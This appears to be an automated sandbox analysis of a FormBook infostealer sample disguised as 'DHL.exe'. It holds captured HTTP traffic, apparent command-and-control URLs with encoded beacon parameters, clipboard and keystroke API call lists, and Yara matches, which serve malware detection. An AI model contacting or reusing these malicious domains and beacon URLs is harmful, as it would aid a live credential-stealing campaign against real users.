Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 07:24:28 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XfFICCTSncZLZLW87I8JYFeIuAut1Tjetz4C%2B38Vn8MFMDLRDerJdvMxPS2QA8cXee3Mymx5wdTbpnBP3hm%2FwCSfDfDht4NMSeVyvpH3GxRb7VzfyJeUllqVUEcX3OiStYo%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f352c768bf4f78d-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1467&min_rtt=1467&rtt_var=733&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=724&delivery_rate=0&cwnd=73&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 36 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 91 41 4b 03 31 10 85 ef 85 fe 87 d1 7b 3b dd 65 45 29 21 07 6d 45 a1 6a d1 15 f4 98 36 d3 26 98 66 4a 76 b6 cb fe 7b e9 da 95 22 78 c9 cb 64 e6 7b 4c 78 ea 62 f6 72 57 7e 2e e7 f0 50 3e 2d 60 f9 7e bb 78 bc 83 cb 11 e2 e3 bc bc 47 9c 95 b3 9f 4e 3e 9e 20 ce 9f 2f f5 70 a0 9c ec 42 a7 64 ac 56 e2 25 90 2e 26 05 3c b3 c0 3d d7 d1 2a fc 79 54 d8 8d 0c 07 6a c5 b6 3d ea 9a a2 50 d2 ca 65 7f 09 97 69 85 a7 f6 70 00 6f 9c 52 0b 1b 4e 20 8e c0 c7 35 c7 03 45 4f 71 4d 63 b5 4a a8 87 83 65 20 53 11 24 da 73 12 10 e7 2b d8 51 55 99 2d 81 89 f6 c8 84 da 52 c7 6f 38 04 6e 7c dc 82 8f 1b 4e 3b 23 9e 23 08 43 5d f5 6e a5 33 f1 0b 5a ae e1 40 a9 85 5d bd 76 17 0a f7 c7 a5 c5 ac 02 75 97 d4 9d 56 bf bf 2e a6 0a c5 9e 4a 27 b2 9f 22 36 4d 33 36 75 d5 1e 4c 31 16 de a3 09 d7 05 f6 63 78 82 7b 8b 37 4a 07 4a e7 2e a1 66 eb 5b 1a 99 a6 1a 45 b6 94 fd 87 ce 8c d0 39 98 4f f2 02 b3 1c b3 6b c8 ae a6 79 31 cd 6f fe a0 f8 fb 05 97 50 2f b9 a1 44 16 56 2d 7c 28 97 74 9f 8a 50 dc fa 48 67 31 28 ec 83 c3 53 e8 df 61 00 b8 00 31 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 161uAK1{;eE)!mEj6&fJv{"xd{LxbrW~.P>-`~xGN> /pBdV%.&<=*yTj=PeipoRN 5EOqMcJe S$s+QU-Ro8n\|N;##C]n3Z@]vuV.J'"6M36uL1cx{7JJ.f[E9Oky1oP/DV-\|(tPHg1(Sa10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 07:24:31 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Tl%2Bdu7M6uRpNCdcrZYeTWzmoIG%2BkAUDAJbNxH%2ByXfeJlkfKqWFwp2WHroD8H5Qf85TCzREEwFwdOK%2BaYX6csR7WHIjpco3ZaH8hzz87xyDGxKmpmyrHBzoEAyOmekDaGiQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f352c86ea888ce3-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1936&min_rtt=1936&rtt_var=968&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=744&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 36 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 91 41 4b 03 31 10 85 ef 85 fe 87 d1 7b 3b dd 75 45 28 21 07 6d 45 a1 6a d1 15 f4 98 36 d3 26 98 66 4a 76 b6 cb fe 7b e9 da 95 22 78 c9 cb 64 e6 7b 4c 78 ea 62 f6 72 57 7e 2e e7 f0 50 3e 2d 60 f9 7e bb 78 bc 83 cb 11 e2 e3 bc bc 47 9c 95 b3 9f 4e 3e 9e 20 ce 9f 2f f5 70 a0 9c ec 42 a7 64 ac 56 e2 25 90 2e 26 05 3c b3 c0 3d d7 d1 2a fc 79 54 d8 8d 0c 07 6a c5 b6 3d ea 9a a2 50 d2 ca 65 7f 09 97 69 85 a7 f6 70 00 6f 9c 52 0b 1b 4e 20 8e c0 c7 35 c7 03 45 4f 71 4d 63 b5 4a a8 87 83 65 20 53 11 24 da 73 12 10 e7 2b d8 51 55 99 2d 81 89 f6 c8 84 da 52 c7 6f 38 04 6e 7c dc 82 8f 1b 4e 3b 23 9e 23 08 43 5d f5 6e a5 33 f1 0b 5a ae e1 40 a9 85 5d bd 76 17 0a f7 c7 a5 c5 ac 02 75 97 d4 9d 56 bf bf 2e a6 0a c5 9e 4a 27 b2 9f 22 36 4d 33 36 75 d5 1e 4c 31 16 de a3 09 37 05 f6 63 78 82 7b 8b 37 4a 07 4a e7 2e a1 66 eb 5b 1a 99 a6 1a 45 b6 94 fd 87 ce 8c d0 39 98 4f f2 02 b3 1c b3 1b c8 ae a7 79 31 bd fa 8b e2 ef 17 5c 42 bd e4 86 12 59 58 b5 f0 a1 5c d2 7d 2a 42 71 eb 23 9d c5 a0 b0 0f 0e 4f a1 7f 03 78 fe 1b 56 31 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 161uAK1{;uE(!mEj6&fJv{"xd{LxbrW~.P>-`~xGN> /pBdV%.&<=yTj=PeipoRN 5EOqMcJe S$s+QU-Ro8n\|N;##C]n3Z@]vuV.J'"6M36uL17cx{7JJ.f[E9Oy1\BYX\}Bq#OxV10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 07:24:34 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hIelB46BcHRgkok219krv8Mumjfw%2FpHRb6DrileRgllu81rW9XmdL9fJFcW4%2FY5yVZyhBi8Q%2Bpi0gjkCY5xP0jrKriIkEEvEHxCuBsYcM3DFr2rPtQ98yaff3Uhju%2FcroS4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f352c98ff9a43f7-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1819&min_rtt=1819&rtt_var=909&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1761&delivery_rate=0&cwnd=211&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a Data Ascii: f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 07:24:37 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WdxplgCoAyb9r%2BTdQqkLpyWc%2F85Qf1f6IcWe%2BHIEDONXFXQQIHeQYpn1an9GCeM%2BMwfMlrTZIFb2nkhkr3svcFWCbf1tNXWLbQh6ZybUyaNM4qlXx0pyKIGezLyMst9bQR0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f352cab1ed443f9-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2229&min_rtt=2229&rtt_var=1114&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=464&delivery_rate=0&cwnd=181&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 63 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 77 77 77 2e 61 75 73 79 76 61 34 2e 74 6f 70 2f 61 6c 37 34 2f 3f 72 50 68 3d 31 42 6a 73 65 34 61 61 75 43 6d 6f 39 37 4e 37 49 6a 4c 73 31 74 39 2f 35 44 79 74 56 2f 74 41 55 77 54 4a 55 36 75 36 45 2b 42 68 73 6f 66 36 55 48 78 64 79 32 52 71 62 79 52 67 74 62 74 37 67 4c 4b 50 67 68 55 38 6f 71 6e 72 34 6f 74 72 45 56 44 75 2f 53 55 69 51 49 2f 6f 47 7a 62 38 50 70 6e 76 6c Data Ascii: 2c9<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://www.ausyva4.top/al74/?rPh=1Bjse4aauCmo97N7IjLs1t9/5DytV/tAUwTJU6u6E+Bhsof6UHxdy2RqbyRgtbt7gLKPghU8oqnr4otrEVDu/SUiQI/oGzb8Ppnvl
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 07:25:14 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 07:25:17 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 07:25:19 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 07:25:23 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: wiaacmgr.exe, 00000005.00000002.2712106181.00000000053F6000.00000004.10000000.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000002.2711108756.0000000003176000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://pku-cs-cjw.top/k3hn/?rPh=dZddn2QnmIt3Z4tuH0E3g34XkYAItSNhr8Xg5sy2kai1E7eSB/izKfIU3bxH1QSpc7GJ
Source: wiaacmgr.exe, 00000005.00000002.2712106181.0000000005588000.00000004.10000000.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000002.2711108756.0000000003308000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.ausyva4.top/al74/?rPh=1Bjse4aauCmo97N7IjLs1t9/5DytV/tAUwTJU6u6E
Source: eYHtcsfFquWF.exe, 00000006.00000002.2712813686.00000000050E4000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.startsomething.xyz
Source: eYHtcsfFquWF.exe, 00000006.00000002.2712813686.00000000050E4000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.startsomething.xyz/9er8/
Source: wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: wiaacmgr.exe, 00000005.00000002.2701656661.0000000002A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: wiaacmgr.exe, 00000005.00000002.2701656661.0000000002A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: wiaacmgr.exe, 00000005.00000003.1897784550.0000000007A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: wiaacmgr.exe, 00000005.00000002.2701656661.0000000002A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: wiaacmgr.exe, 00000005.00000002.2701656661.0000000002A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033.
Source: wiaacmgr.exe, 00000005.00000002.2701656661.0000000002A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: wiaacmgr.exe, 00000005.00000002.2701656661.0000000002A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=10330
Source: wiaacmgr.exe, 00000005.00000002.2701656661.0000000002A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: wiaacmgr.exe, 00000005.00000002.2701656661.0000000002A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: wiaacmgr.exe, 00000005.00000002.2712106181.000000000571A000.00000004.10000000.00040000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2713669161.0000000007730000.00000004.00000800.00020000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000002.2711108756.000000000349A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: wiaacmgr.exe, 00000005.00000003.1902651783.0000000007A8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: wiaacmgr.exe, 00000005.00000002.2712106181.00000000058AC000.00000004.10000000.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000002.2711108756.000000000362C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.juewucangku.xyz/b6bc/?rPh=xoBYbUYuit1npWAwAtyehE3iQkiUZWMjRZPyJ7i/hpkEutNt4jOTaw6JRAgW2l

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A1EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00A1EAFF

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A1ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00A1ED6A

Source: C:\Users\user\Desktop\DHL.exe

0_2_00A1EAFF

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A0AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

0_2_00A0AA57

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A39576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00A39576

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2710446513.00000000045C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2712813686.0000000005030000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2710629488.0000000004610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2700411137.0000000002850000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1707823352.0000000003300000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1707521744.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1708319650.0000000004B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2709918624.0000000003CB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Binary is likely a compiled AutoIt script file

Source: DHL.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: DHL.exe, 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_e0f9fd8b-9
